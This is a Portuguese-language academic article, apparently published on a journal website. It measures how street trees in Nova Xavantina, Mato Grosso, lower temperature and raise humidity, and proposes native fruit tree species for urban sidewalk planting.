<p class="wp-block-paragraph"><strong>2.1.3 Impactos da Arborização na Temperatura Urbana e Conforto Térmico&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">&nbsp;Diferentes microclimas urbanos são influenciados pela localização geográfica, topografia, vegetação e cobertura do solo, radiação solar, temperatura, umidade e precipitação (Ferreira,2014). O conforto térmico nas cidades pode ser ameaçado pelas alterações climáticas causadas pela construção de edifícios e pavimentos, resultando em efeitos diretos principalmente da radiação solar, menor quantidade de vegetação, aumento da temperatura e redução da umidade do ar (U.R.). Dessa forma criam-se as chamadas ilhas de calor e aos poucos as cidades estão se transformando em verdadeiras estufas (Da Cunha et al<em>.</em>, 2019). &nbsp;</p>



<p class="wp-block-paragraph">Em contrapartida, a arborização urbana promove benefícios ecológicos, expressos em melhorias climáticas. As folhas absorvem a radiação solar, reduzem a temperatura e fornecem sombra (Amato et al<em>., </em>2016), além da melhora na sensação térmica, desacelera a degradação dos materiais utilizados na construção civil, reduzem a velocidade do vento e aumentam a umidade relativa do ar (Paiva, 2021). Para Frota e Barros, 2016 a Umidade relativa (U.R.)&nbsp; é definida como “a relação da umidade absoluta com a capacidade máxima do ar de reter vapor d’água, àquela temperatura’’.&nbsp;</p>



<p class="wp-block-paragraph">Nas regiões de clima quente não é muito interessante que haja a diminuição dos ventos, pois a falta de brisa pode causar desconforto. A vegetação funciona como um obstáculo para o fluxo de ar, quando a corrente de ar é leve ela se ‘’ quebra ‘’ nas copas, porém quando é mais rápida ela circunda as copas. Em 2006, Nery et al<em>, </em>fizeram um estudo na cidade de Salvador e concluíram que a alta densidade populacional de árvores modificam a circulação dos ventos e reduzem a circulação de ar (Silva; Gonzalez; Filho, 2011).&nbsp;</p>



<p class="wp-block-paragraph">Esta interação entre a vegetação e a circulação do ar tem um impacto direto na sensação de conforto térmico experimentada pelo ser humano, sendo que o corpo humano possui temperaturas de 36,1-37,2 ºC, este calor é produzido através de reações químicas, a temperatura do corpo deve ser dissipada para que o organismo se mantenha em equilíbrio. O organismo humano experimenta sensação de conforto térmico quando perde calor para o ambiente, sem recorrer a nenhum mecanismo de termorregulação (vasodilatação e transpiração). O conforto térmico dependerá das atividades que estão sendo exercidas no momento, das vestimentas, biotipos, hábitos alimentares, além de fatores ambientais (temperatura, umidade e vento) (Frota; Barros, 2016).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 </strong><strong>Caracterização das Arbóreas do Cerrado </strong></p>



<p class="wp-block-paragraph">O bioma Cerrado é o segundo maior do Brasil, além de ser o segundo maior bioma da América do sul com 203.4 milhões de hectares, ocupando 24% do território nacional (Vilela et al.,2022) sendo um conjunto de ecossistemas do Centro-Oeste brasileiro, constituído por savanas, matas e campos. Segundo Köppen, o Cerrado possui dois tipos de clima predominantes: Aw (clima tropical, verão chuvoso e inverno seco com temperaturas médias superiores acima de 18 ºC) e Cwa (clima subtropical, com verão chuvoso e quente, sendo o mês mais frio com temperatura média entre -3°C e 18ºC e o mês mais quente com temperatura média maior do que 22°C) (Nascimento et al<em>., </em>2020). A figura 1 representa os biomas brasileiros, sendo o Cerrado com uma coloração mais próxima do amarelo, ao centro do país.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Algumas espécies do bioma Cerrado possuem adaptações e evoluções anatômicas de tecidos epidérmicos e vasculares, alterações as quais permitem que o fluxo de carbono na planta ocorra mesmo em condições ambientais desfavoráveis a fotossíntese (Furquim et al.,<em> </em>2018).<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">Outra significativa característica das arbóreas do Cerrado são suas frutas e frutos, essas espécies frutíferas apresentam atributos peculiares, como aromas, sabores e cores, e alto teor de compostos fenólicos (flavonoides e taninos). O aroma característico das frutas é determinado pelo tipo de substâncias que produzem (Nascimento et al.,2018).&nbsp;</p>



<p class="wp-block-paragraph">As plantas nativas são frequentemente adaptáveis às restrições do solo e umidade, como   em   toda   savana, a   vegetação   é exposta a altas irradiâncias (1.500 a 2.500 μmol.m-2.s-1), altas temperaturas (25-40 °C ao meio-dia) e, na estação seca, baixa umidade relativa do ar (10-20%) (Palhares et al., 2010), baixos níveis de nutrientes e altos níveis de alumínio, algumas espécies são tolerantes e acumulam alumínio nos tecidos foliares e radiculares (Alves, 2016).  </p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong>. Biomas brasileiros</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="371" height="524" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-7.png" alt="" class="wp-image-261724" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-7.png 371w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-1-7-212x300.png 212w" sizes="(max-width: 371px) 100vw, 371px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Rosalem, 2024</p>



<p class="wp-block-paragraph"><strong>2.3 </strong><strong>Manutenção de Árvores em Área Urbana </strong></p>



<p class="wp-block-paragraph">O êxito da arborização demanda uma estratégia minuciosa, iniciada pela colaboração de todos os envolvidos na definição clara dos objetivos do empreendimento. As pessoas adquiriam árvores por diversos motivos, como a recuperação de ecossistemas, captura de carbono, obtenção de lucros através da extração de madeira ou aprimoramento da pureza das fontes hídricas. Um único projeto de plantio de árvores pode alcançar múltiplas metas (Holl; Brancalion, 2020).<strong>&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Para que a arborização urbana proporcione os serviços necessários, a esquematização do plantio é indispensável. Tudo deve ser feito seguindo os atributos das espécies arbóreas, as quais se misturam com os espaços físicos disponíveis para elas. Muitas vezes esses espaços são ameaçados pelo desrespeito dos cidadãos e dos poderes públicos, como por exemplo através de instalações, por exemplo: redes de eletricidade, água e esgotos. A prefeitura precisa acompanhar diretrizes incluídas no planejamento da silvicultura, desde a seleção das espécies arbóreas até o plantio e manutenção de árvores para que os serviços à população não sejam comprometidos a fim de que as árvores não precisem ser sacrificadas (Bacelar et al.,2020).&nbsp;</p>



<p class="wp-block-paragraph">Segundo o Art. 42, Lei nº 826/2021 da Constituição Estadual o Plano de Arborização deve-se levar em consideração as características das cidades; respeitar o planejamento viário; elaborar estratégias de plantio de árvores em conjunto com os planos de implementação de infraestrutura urbana; projetos de rede elétrica devem compatibilizar-se com a vegetação arbórea; o planejamento, a introdução e o manejo da arborização das áreas privadas devem atender às diretrizes da legislação (MATO GROSSO, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Para que as árvores não venham prejudicar os espaços, é necessário monitorá-las desde o plantio; as mudas devem ser isentas de pragas e doenças, ser de boa procedência, devem possuir um tutor (haste); deve-se observar restrições espaciais e do solo (sempre deve ser preparado para receber o futuro indivíduo vegetal). Em volta da árvore plantada é importante deixar uma área permeável, seja na forma de piso drenante, canteiro, etc; com o passar dos anos será necessária a poda e cuidados com a nutrição vegetal (UNESP, 2017).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.4 </strong><strong>Planejamento Urbano Sustentável </strong></p>



<p class="wp-block-paragraph">As cidades são habitats de seres humanos, onde tem se tornado epicentro das práticas culturais e econômicas<strong>, </strong>bem administradas, essas povoações representam pilares essenciais para o progresso econômico e social, tornando-se, assim, impulsionadores fundamentais do crescimento econômico, da inovação e do emprego. As metrópoles são igualmente os epicentros da sociedade contemporânea, os moradores frequentemente desfrutam de maior disponibilidade de recursos em relação aos habitantes das regiões rurais, tais como educação, cuidados médicos e serviços fundamentais de infraestrutura como eletricidade, água e saneamento, porém estas áreas enfrentam diversos desafios, como as altas taxas de pobreza, falta de planejamento urbano, tendo como consequência um desenvolvimento não sustentável (Felipe et al.,<em> </em>2020).&nbsp;</p>



<p class="wp-block-paragraph">O desenvolvimento sustentável se caracteriza, segundo a Comissão Mundial sobre o Meio Ambiente e Desenvolvimento (CMMAD) , satisfazendo as necessidades presentes, sem comprometer a capacidade das gerações futuras de suprirem suas próprias necessidades (Felipe et al.,<em> </em>2020).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O Plano Diretor refere-se ao planejamento e desenvolvimento sustentável das cidades, segundo o Artigo 182, da Constituição Federal:&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“A política de desenvolvimento urbano, executada pelo Poder Público municipal, conforme diretrizes gerais fixadas em lei, tem por objetivo ordenar o pleno desenvolvimento das funções sociais da cidade e garantir o bem-estar de seus habitantes.&nbsp; O plano diretor, aprovado pela Câmara Municipal, obrigatório para cidades com mais de vinte mil habitantes, é o instrumento básico da política de desenvolvimento e de expansão urbana’’.&nbsp; (BRASIL, 1988).&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Segundo a Constituição Federal, o Plano de Arborização Urbana é um instrumento complementar ao Plano Diretor do Município. O Plano Estadual de Arborização Urbana, sob a Lei nº 826/2021, dispõe de diretrizes para implantação, preservação e manutenção de espaços verdes nos municípios.&nbsp;</p>



<p class="wp-block-paragraph">Conforme a NBR 9050/04 (Norma Brasileira de Calçadas), a calçada constitui uma parte da via geralmente separada e em um nível distinto, não destinada ao tráfego de veículos, reservada exclusivamente para a circulação de pedestres e, quando viável, para a instalação de elementos como mobiliários, sinais de trânsito, vegetação e outros intentos (ABNT,2004).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3 </strong><strong>MATERIAIS E MÉTODOS </strong></p>



<p class="wp-block-paragraph"><strong>3.1 </strong><strong>Área de Estudo </strong></p>



<p class="wp-block-paragraph">As áreas a serem estudadas estão localizadas no interior da extensão urbana de Nova Xavantina-MT, (Figura 2) localizada na região leste de Mato Grosso, nas coordenadas aproximadas de 14º41’09” e 52º20’09”. A cidade tem uma área de 5.491,972km², com a população estimada em 24. 345 habitantes (IBGE,2022). Faz limites com Água Boa, Nova Nazaré, Cocalinho, Araguaiana, Barra do Garças, Novo São Joaquim e Campinápolis (IBGE, 2013). Segundo a classificação de Köppen, Nova Xavantina possui o clima Aw, com temperaturas médias de 25,2 graus (Köppen Brasil, 2025). </p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2</strong>. Localização de Nova Xavantina</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="396" height="287" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-2-6.png" alt="" class="wp-image-261725" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-2-6.png 396w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-2-6-300x217.png 300w" sizes="(max-width: 396px) 100vw, 396px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Rosalem, 2024</p>



<p class="wp-block-paragraph"><strong>3.2 </strong><strong>Coleta de Dados em Campo </strong></p>



<p class="wp-block-paragraph">Com o Google Earth Pro, localizou-se os locais que possuíam três árvores ou mais, uma próxima a outra, preferencialmente que fossem da mesma espécie, pois ao criar subpopulações mais uniformes, as variações são menores em comparação a populações de indivíduos com características morfológicas diferentes, o que resulta em uma maior precisão nas estimativas (Coutinho; Lima, 1997).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os dados foram coletados em 2024, nos dias 31 de agosto (época mais quente e seca do ano) e 28 de outubro (época chuvosa e mais fresca) de 2024 e em quatro locais distintos, em cada ponto foi delimitada uma área de três metros para obter os dados, separando um lado para calçadas arborizadas e o outro para calçadas em pleno sol, nos horários mais quentes (início às 10:30 e término às 12:00 horas). Os locais escolhidos foram às ruas: Jaciara, João Pessoa, Antônio Aires da Silva e Avenida Getúlio Vargas. Coletou-se dados de temperatura e umidade com o aparelho da marca Kestrel, o qual é um medidor de condições ambientais, Portátil THAL-300 (Figura 3), entre um dado e outro foi aguardado cerca de um minuto para a próxima anotação. </p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3.  </strong>THAL-300</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="216" height="284" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-3-6.png" alt="" class="wp-image-261726"/></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Rosalem, 2024</p>



<p class="wp-block-paragraph">Sendo, dez amostras em cada local, cinco na estiagem e cinco na chuvarada. Os dados foram coletados na seguinte sequência: rua Jaciara, três exemplares de <em>Terminalia mantaly </em>H. Pierrer (Sete-copas-africana), na rua João Pessoa com nove exemplares de <em>Handroanthus albus </em>(Ipê amarelo), rua Antônio Aires da Silva com seis exemplares de <em>Moquilea tomentosa </em>(Oiti), Av. Getúlio Vargas, na quadra do Santuário Nossa Senhora das Graças, nove exemplares de <em>Azadirachta indica </em>A. Juss. (Neem). As ruas foram selecionadas aleatoriamente, sem qualquer interferência externa ou viés na escolha.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3 </strong><strong>Processamento dos Dados </strong></p>



<p class="wp-block-paragraph">As análises foram feitas no mês de março do ano de 2025. Foi utilizado a análise ANOVA de duas vias (ou ANOVA bifatorial) é uma técnica estatística usada para analisar o efeito de dois fatores independentes, sobre uma variável dependente contínua. As análises foram feitas no programa R (R Core Team, 2025), adotando 5% no nível de significância.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.4 Espécies Arbóreas Recomendadas para Nova Xavantina com Base na Literatura </strong></p>



<p class="wp-block-paragraph">Com o intuito de diversificar e ampliar a arborização da cidade, foram selecionadas como sugestão algumas espécies frutíferas e com potencial paisagístico através dos livros ‘’ Árvores Brasileiras ‘’ e o “Guia de calçamento para o Município de Nova Xavantina’’ (documento feito pela empresa junior- EDIFICAR- para a prefeitura de Nova Xavantina; disponível no Anexo I), sendo este utilizado como parâmetro para o plantio e dimensionamento do conjunto (árvore calçada).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;Foram definidos alguns critérios para seleção das árvores com, por exemplo adaptação ou origem do bioma Cerrado, ter mais que três metros de altura, para que não haja interferência quando os pedestres estejam utilizando as calçadas, não ser caducifólia durante todo o período de estiagem e, suas partes não devem ser tóxicas para seres humanos nem para outros animais, não devem conter espinhos, devem produzir frutas, sendo as quais não podendo causar danos materiais ou riscos para os seres que passarem sobre o local.</p>



<p class="wp-block-paragraph"><strong>4 </strong><strong>RESULTADOS E DISCUSSÕES </strong></p>



<p class="wp-block-paragraph"><strong>4.1 Análise de Dados&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise da temperatura evidenciou variações significativas entre os tratamentos (Sol e Sombra) e entre as estações do ano (Chuva e Seca). Como demonstrado na Figura 4 e Tabela 1, os valores mais elevados de temperatura ocorreram sob condição de sol durante o período seco, enquanto os menores valores foram observados sob sombra durante a estação chuvosa. O p-valor baixo (menor que 0,05) indica que existe uma diferença estatisticamente significativa entre as condições comparadas e (p-valor > 0.05) não há diferença significativa. </p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong>. Resultado da análise das temperaturas</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="561" height="195" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-4-4.png" alt="" class="wp-image-261727" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-4-4.png 561w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-4-4-300x104.png 300w" sizes="(max-width: 561px) 100vw, 561px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Rosalem, 2025 <br><strong>Legenda</strong>: p-valor &lt;0.05 se diferenciaram estatisticamente, p-valor >0.05 não se diferenciaram estatisticamente.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4</strong>. Diferenças das Temperaturas</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="602" height="319" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-5-2.png" alt="" class="wp-image-261728" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-5-2.png 602w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-5-2-300x159.png 300w" sizes="(max-width: 602px) 100vw, 602px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Rosalem, 2025<br><strong>Legenda</strong>: O eixo vertical representa a temperatura em graus Celsius, enquanto o eixo horizontal indica os tratamentos. As letras acima dos boxplots indicam grupos estatisticamente diferentes. As linhas centrais são as medianas</p>



<p class="wp-block-paragraph">Durante o período seco, a diferença de temperatura respectivamente entre ‘’Seca SolSeca Sombra’’ e ‘’Chuva Sol-Seca Sombra” não foram estatisticamente significativa (p = 0.1482) e (p = 0.0675), sugerindo que a radiação direta durante a seca pode elevar a temperatura ambiental a níveis em que o sombreamento perde parte de sua eficácia.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em Natal, Carvalho (2001) concluiu que o parque das Dunas é capaz de reduzir a temperatura do ar no em um raio de 3,51 km do seu entorno, sendo assim é possível concluir que quanto maior for a incidência de árvores mais baixa será a temperatura&nbsp;</p>



<p class="wp-block-paragraph">A umidade relativa do ar também apresentou variações significativas entre os tratamentos e estações (Figura 5 e Tabela 2). Durante a estação chuvosa, a condição de sombra registrou os maiores níveis de umidade, enquanto o menor valor foi observado no sol durante o período seco, na avaliação ‘’Seca Sol-Seca Sombra’’ o valor de p foi 0.4029.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2</strong>. Resultados da análise das umidades&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="565" height="197" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-6-3.png" alt="" class="wp-image-261729" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-6-3.png 565w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-6-3-300x105.png 300w" sizes="(max-width: 565px) 100vw, 565px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Rosalem, 2025 <br><strong>Legenda</strong>: p-valor &lt;0.05 se diferenciaram estatisticamente, p-valor >0.05 não se diferenciaram estatisticamente.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 5. </strong>Diferenças das Umidades </p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="602" height="316" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-7-1.png" alt="" class="wp-image-261730" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-7-1.png 602w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-7-1-300x157.png 300w" sizes="(max-width: 602px) 100vw, 602px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Rosalem, 2025 <br><strong>Legenda</strong>: O eixo vertical representa a umidade relativa do ar, enquanto o eixo horizontal indica os tratamentos. As letras acima dos boxplots indicam grupos estatisticamente diferentes. As linhas centrais são as medianas </p>



<p class="wp-block-paragraph">Com isso podemos confirmar o que Paiva relatou em 2021, as árvores possuem a capacidade de diminuir a temperatura e aumentar a umidade.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Esses dados indicam que o sombreamento é eficaz na redução da temperatura, especialmente durante a estação chuvosa. Isso pode ser explicado pela interceptação da radiação solar direta e pela maior evapotranspiração promovida pela cobertura vegetal, como apontado por Abreu 2008, assim transmitindo uma sensação térmica mais agradável.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Mendonça 2021, avaliou temperatura, irradiação e umidade em quatro locais diferentes da cidade de Nova Xavantina-Mato Grosso, seu intuito foi avaliar as respectivas variáveis em ambiente natural e preservado (Parque do Bacaba) e ambientes construídos (praças), ela concluiu que não são apenas as árvores que interferem no microclima, mas também os materiais utilizados nas edificações e vias; além de seu estudo no ano de 2018 houve um estudo feito por Ribeiro et al., na cidade de Cuiabá, capital do Mato Grosso, onde avaliou diferentes temperaturas e armazenamento de energia em materiais (concreto e asfalto) e solo, com isso foi concluído que as menores temperaturas foram registradas em locais arborizados, na época chuvosa e no material solo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma é importante citar a presença das espécies encontradas na presente pesquisa e as características mais relevantes de cada uma delas tais como a <em>Terminalia mantaly </em>H. Pierrer (Sete-copas-africana) a qual pode chegar a 20 metros de altura, suas folhas são pequenas, verdes, inteiras, simples, glabras e coriáceas. Suas inflorescências são espigas formadas por pequenas flores brancas a esverdeadas (Correa, 2022). O<em> Handroanthus albus </em>(Ipê amarelo), segundo o Instituto Brasileiro de Florestas ele pode alcançar 30 metros de altura, com fuste curto chegando a 40-60 cm de diâmetro, suas folhas são compostas, seus folíolos são decíduos, pilosos de cor verde claro a verde escuro. Suas inflorescências são de coloração amarela, possuindo entre 17 e 33 cm de comprimento (Carvalho et al.,2003). A<em> Moquilea tomentosa </em>(Oiti) é uma espécie nativa da Mata Atlântica, varia de 8 a 15 metros de altura, com 30 a 50 cm de diâmetro, possui folhas simples com tricomas em ambas as faces, de 7 a 14 cm de comprimento por 3 a 5 cm de largura. Quando são feitas podas, apresenta copa frondosa que proporciona sombra, característica bastante atrativa que justifica seu uso em larga escala na arborização urbana por quase todo o Brasil (Deecken, 2021; Zamproni et al.,2016).<em>  </em>A <em>Azadirachta indica </em>A. Juss. (Neem), pode crescer até aproximadamente 20 m de altura, desenvolve uma raiz pivotante, os galhos da árvore se espalham amplamente e formam uma coroa oval, as folhas são pinadas e verdes. Ela apresenta flores brancas, pequenas e perfumadas e seus frutos são pequenos e amarelos, com uma semente marrom no meio. A planta pode ser tóxica ou benéfica para seres humanos, isso dependendo dos componentes químicos utilizados em processos (Patel et al., 2016). </p>



<p class="wp-block-paragraph">A tabela abaixo representa as temperaturas médias e umidades encontradas nos diferentes pontos de coletas de dados abaixo dos indivíduos arbóreos, tanto no inverno quanto no verão.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 3. </strong>Médias das temperaturas e umidades abaixo dos indivíduos vegetais&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="688" height="303" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-8-1.png" alt="" class="wp-image-261731" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-8-1.png 688w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-8-1-300x132.png 300w" sizes="(max-width: 688px) 100vw, 688px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Rosalem, 2025</p>



<p class="wp-block-paragraph">A avaliação das condições microclimáticas sob diferentes espécies arbóreas demonstrou variações relevantes em termos de temperatura e umidade entre as espécies. A sete-copas-africana se destacou por proporcionar maior conforto térmico durante o verão, mantendo o ambiente mais fresco e úmido em comparação com as demais espécies. Em contrapartida, o oiti apresentou os resultados menos favoráveis, com temperaturas mais elevadas e menores níveis de umidade. O ipê-amarelo e o neem situaram-se em uma posição intermediária, contribuindo de forma moderada para a regulação do microclima. Esses resultados reforçam a importância da escolha criteriosa das espécies na arborização urbana, especialmente quando se busca mitigar os efeitos do calor e promover maior bem-estar nas cidades.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2 Possíveis Espécies para serem Utilizadas&nbsp;</strong></p>



<p class="wp-block-paragraph">Está previsto na Constituição do Estado de Mato Grosso, promulgada pela Lei nº 11.376, artigo 42 “Fica instituído o Programa Raízes de Mato Grosso que visa a preservação de todas as áreas arborizadas públicas, com o objetivo de implantar e preservar a arborização, visando assegurar condições ambientais e paisagísticas”. Cada município poderá formular e implementar o seu Plano Diretor de Arborização Urbana (MATO GROSSO, 2021). Sendo assim é necessário conhecer a biologia das espécies vegetais que serão cultivadas; proteger e implantar árvores que condizem com o ambiente urbano desejado.&nbsp;</p>



<p class="wp-block-paragraph">A análise das espécies propostas revela um foco na adequação ao ambiente urbano, considerando largura das calçadas, presença de fiação elétrica, sombreamento e produção de frutos. Através da literatura conseguimos fazer um levantamento com sugestões de possíveis arbóreas que poderão ser implantadas na cidade de Nova Xavantina:&nbsp;</p>



<p class="wp-block-paragraph"><em>Spondias dulcis </em>L. (Cajazeiro): sua altura alcança até 25 metros, seu tronco é bem ramificado; suas folhas são compostas, com 5-9 pares de folíolos. Sua floração ocorre em agosto e a maturação dos frutos vai de outubro-janeiro, seus frutos são drupa (Lorenzi, 2002). Pode vir a ser utilizada em calçadas com largura superior a cinco metros onde não há fiação.&nbsp;</p>



<p class="wp-block-paragraph"><em>Hancornia speciosa </em>Gomes (Mangaba): pode chegar até sete metros de altura, seu tronco é bastante ramificado, suas folhas são simples, glabras, possuindo 7-10 cm de comprimento e 3-4 cm de largura; sua inflorescência é branca e perfumada, seu fruto é tipo baga(Lorenzi, 2002). Pode ser utilizada para arborização em calçadas com a largura acima de três metros, onde não há redes de energia.&nbsp;</p>



<p class="wp-block-paragraph"><em>Swartzia langsdorffii </em>Raddi<em> </em>(Pacová de macaco): cresce de 8-14 metros, possui de 7 a 8 folíolos glabros por folha, 8-12 cm de comprimento por 6-7 cm de largura; sua floração ocorre de setembro a janeiro, seus frutos amadurecem até o mês de abril, são do tipo baga (Lorenzi, 2002). Pode ser plantado em calçadas acima de três metros de largura, onde não ocorre a passagem de fios.&nbsp;</p>



<p class="wp-block-paragraph"><em>Myrciaria cauliflora </em>(Mart.) O. Berg<em> </em>(Jabuticaba): sua altura varia de 10 a 15 metros, suas folhas são simples, de 6-7 cm de comprimento, por 2-3 cm de largura. As flores e frutos são afixados no caule; sua floração ocorre duas vezes ao ano nos meses de julho-agosto e novembro-dezembro, seus frutos amadurecem em agosto-setembro e janeiro, os mesmos são do tipo drupa (Lorenzi, 2002). Deve ser plantada em vias com a largura acima de três metros, locais onde não há fiação.&nbsp;</p>



<p class="wp-block-paragraph"><em>Zizyphus joazeiro </em>Mart. (Juazeiro): é uma árvore resistente a estiagem, suas raízes são profundas; pode alcançar de 5-10 metros de altura, suas folhas variam de 5-10 cm de comprimento por 3-6 cm de largura. Seus frutos são ricos em vitamina C, são do tipo drupa, a maturação dos mesmos ocorre nos meses de junho a julho (Lorenzi, 2002). Pode vir a ser utilizada em calçadas com largura acima de três metros e onde não há interferência de fiação.&nbsp;</p>



<p class="wp-block-paragraph"><em>Talisia esculenta </em>(A.St.-Hil.) Radk (Pitomba):&nbsp; varia de 6-12 metros de altura. Suas folhas são compostas, com 2-4 pares de foliolos, de 7-13 cm de comprimento por 3-6 cm de largura. Fruto tipo drupa com casca amarela com polpa carnosa (Lorenzi, 2002). Podendo ser utilizada em calçadas com largura acima de três metros onde não há o intermédio de fios condutores.&nbsp;</p>



<p class="wp-block-paragraph"><em>Salacia elliptica </em>(Mart.ex Roem. &amp; Schult.) G. Don (Saputá): sua copa é densa alcançando 4-8 metros, seu tronco é curto. Suas folhas são coriáceas e glabras em ambas as faces. Seu fruto é do tipo drupa, com cor adocicada de cor amarela, contendo entre 3-6 sementes. Floresce nos meses de julho a setembro, os frutos amadurecem nos meses de novembro a janeiro (Lorenzi, 2002). Podendo ser implantada em calçadas acima de um metro a três metros não contendo cabos elétricos e em calçadas de três a cinco metros contendo fiação.&nbsp;</p>



<p class="wp-block-paragraph"><em>Inga </em>spp. (Ingá):&nbsp; a altura varia de acordo com a espécie do gênero, podendo ser de 520 metros de altura. Todas as espécies possuem folhas compostas com tamanhos variados, e assim como a altura o tamanho dos frutos(legumes) e a sua maturação variam de acordo com a espécie. As flores são todas brancas (Lorenzi, 2002). Estes indivíduos podem ser instalados em calçadas acima de um metro até calçadas além de cinco metros, variando da espécie utilizada.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sendo assim, a presença de árvores frutíferas pode fortalecer a conexão da população com a natureza, além de potencializar a diversidade de fauna ao atrair polinizadores e dispersores de sementes.&nbsp;</p>



<p class="wp-block-paragraph">Outro aspecto relevante é a adaptação ao clima regional. O Juazeiro, por exemplo, é reconhecido por sua resistência à estiagem, característica essencial para áreas que enfrentam períodos secos prolongados, como no Cerrado; algumas espécies podem se adaptar a diferentes climas como a Jabuticaba, e outras além disso contém flores perfumadas, como as plantas do gênero Inga e a Mangaba.&nbsp;</p>



<p class="wp-block-paragraph">No entanto, um desafio que pode surgir é a necessidade de manutenção adequada. A poda, controle de pragas e manejo de raízes devem ser planejados para garantir a longevidade das árvores e evitar impactos negativos na infraestrutura urbana</p>



<p class="wp-block-paragraph"><strong>5 </strong><strong>CONCLUSÃO </strong></p>



<p class="wp-block-paragraph">A implementação de árvores nativas e adaptadas ao clima de Nova Xavantina representa um avanço significativo na sustentabilidade urbana, promovendo benefícios ecológicos, climáticos e sociais. Além de sua capacidade de reduzir temperaturas e aumentar a umidade, as espécies selecionadas contribuem para embelezamento da cidade, oferta de alimentos, aromas agradáveis ao meio e o fortalecimento da biodiversidade local.&nbsp;</p>



<p class="wp-block-paragraph">A execução desse projeto demanda planejamento estratégico e suporte institucional, sendo essencial a adoção de um Plano Diretor Municipal de Arborização conforme previsto na Constituição do Estado de Mato Grosso. Com um planejamento adequado, a cidade pode garantir longevidade das espécies, manutenção eficiente e interação harmônica com o espaço urbano.&nbsp;</p>



<p class="wp-block-paragraph">A arborização planejada não é apenas uma medida estética, mas um investimento na saúde ambiental e no bem-estar coletivo, refletindo a importância da integração entre urbanismo e ecologia para um futuro mais sustentável.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊCIAS&nbsp;&nbsp;</strong></p>



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